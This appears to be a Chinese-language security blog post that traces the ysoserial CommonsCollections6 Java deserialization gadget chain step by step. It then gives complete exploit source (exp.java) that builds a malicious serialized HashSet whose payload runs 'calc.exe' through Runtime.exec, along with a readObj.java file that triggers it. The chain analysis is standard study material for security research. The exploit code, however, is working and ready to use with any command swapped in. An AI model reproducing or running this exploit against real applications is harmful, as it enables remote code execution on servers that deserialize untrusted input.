java反序列化-ysoserial-除錯分析總結篇(6)
前言:
這篇記錄CommonsCollections6的除錯,外層也是新的類,換成了hashset,即從hashset觸發其readObject(),yso給的呼叫鏈如下圖所示
利用鏈分析:
首先在hashset內部首先獲取器容量與負載因子等操作,然後建立hashmap,將ObjectinputStream中的物件放到hashmap中,即呼叫hashmap.put函式,可以看到此時實際上放進去的是一個TiedMapEntry,TiedMapEntry是cc5加入進去的一個Map類,其getvalue函式能夠獲取指定map的key,所以跟進
hashMap在放入元素時將會對當前的key計算一個hash值,即這裡呼叫hashCode()函式,所以即呼叫TiedMapEntry的hashCode()函式,在hashCode函式中將呼叫該類的getvalue函式,
所以從此刻開始就和CommonsCollections5的後續利用鏈相同了,因為CC5是在該類的toString中呼叫getvalue
接著就跳到this.map.get(this.key),此時this.map即為lazymap.get
在lazymap.get中將呼叫this.factory.transform,而我們知道this.factory是可控的,這裡依然為chaindTransform
接下來到了chainedTransformer的transform了,接下來的過程不再贅述,即為contantTransform+invokeTranform結合反射呼叫方法來進行rce
yso構造分析:
這裡還是老套路,先構造內部transform轉換鏈,然後構造lazymap,將chained鏈放進去,接著將lazymap放到TiedMapEntry中
接下來構造hashset例項
接著拿到該hashset的map屬性,該屬性就是個hashmap
接著拿到haspmap中的table屬性,在table中儲存節點物件,然後通過反射拿到節點陣列,
接著令節點儲存Tiedmapentry放進該node節點的key
這裡下斷點跟一下往haspset中放資料的過程也就是haspmap的儲存過程,比如這裡exp中存第一個元素,就是新建一個node節點,即當前的key為"tr1ple"
手動構造exp:
exp.java
package CommonsCollections6; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Method; import java.lang.Class; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class exp { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException { //構造內部轉換鏈 Transformer[] trans = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"} ) }; ChainedTransformer chain = new ChainedTransformer(trans); HashMap innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "tr1ple"); //構造外部入口鏈 HashSet newSet = new HashSet(1); newSet.add("tr1ple"); Field innerSetMap = HashSet.class.getDeclaredField("map"); innerSetMap.setAccessible(true); //修改hashset內部的hashmap儲存 HashMap setMap = (HashMap)innerSetMap.get(newSet); Field table = HashMap.class.getDeclaredField("table"); table.setAccessible(true); //拿到儲存的資料 Object[] obj =(Object[])table.get(setMap); Object node = obj[0]; System.out.println(node.getClass().getName()); Method[] methods = node.getClass().getMethods(); /* for(int i=0;i<methods.length;i++){ System.out.println(methods[i].getName()); } */ //拿到此時存到hashset中的node節點,key為要修改的點,這裡需要修改它為真正的payload,即Tiedmapentry System.out.println(node.toString()); Field key = node.getClass().getDeclaredField("key"); key.setAccessible(true); key.set(node,entry); //hashset的hashmap中的node節點修改完值以後放進hashset Field finalMap = newSet.getClass().getDeclaredField("map"); finalMap.setAccessible(true); finalMap.set(newSet,setMap); //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser"); ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(file)); objOut.writeObject(newSet); } }
readObj.java
package CommonsCollections6; import java.io.*; import java.lang.Runtime; public class readObj { public static void main(String[] args) throws IOException, ClassNotFoundException { File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser"); ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file)); obj.readObject(); } }
&n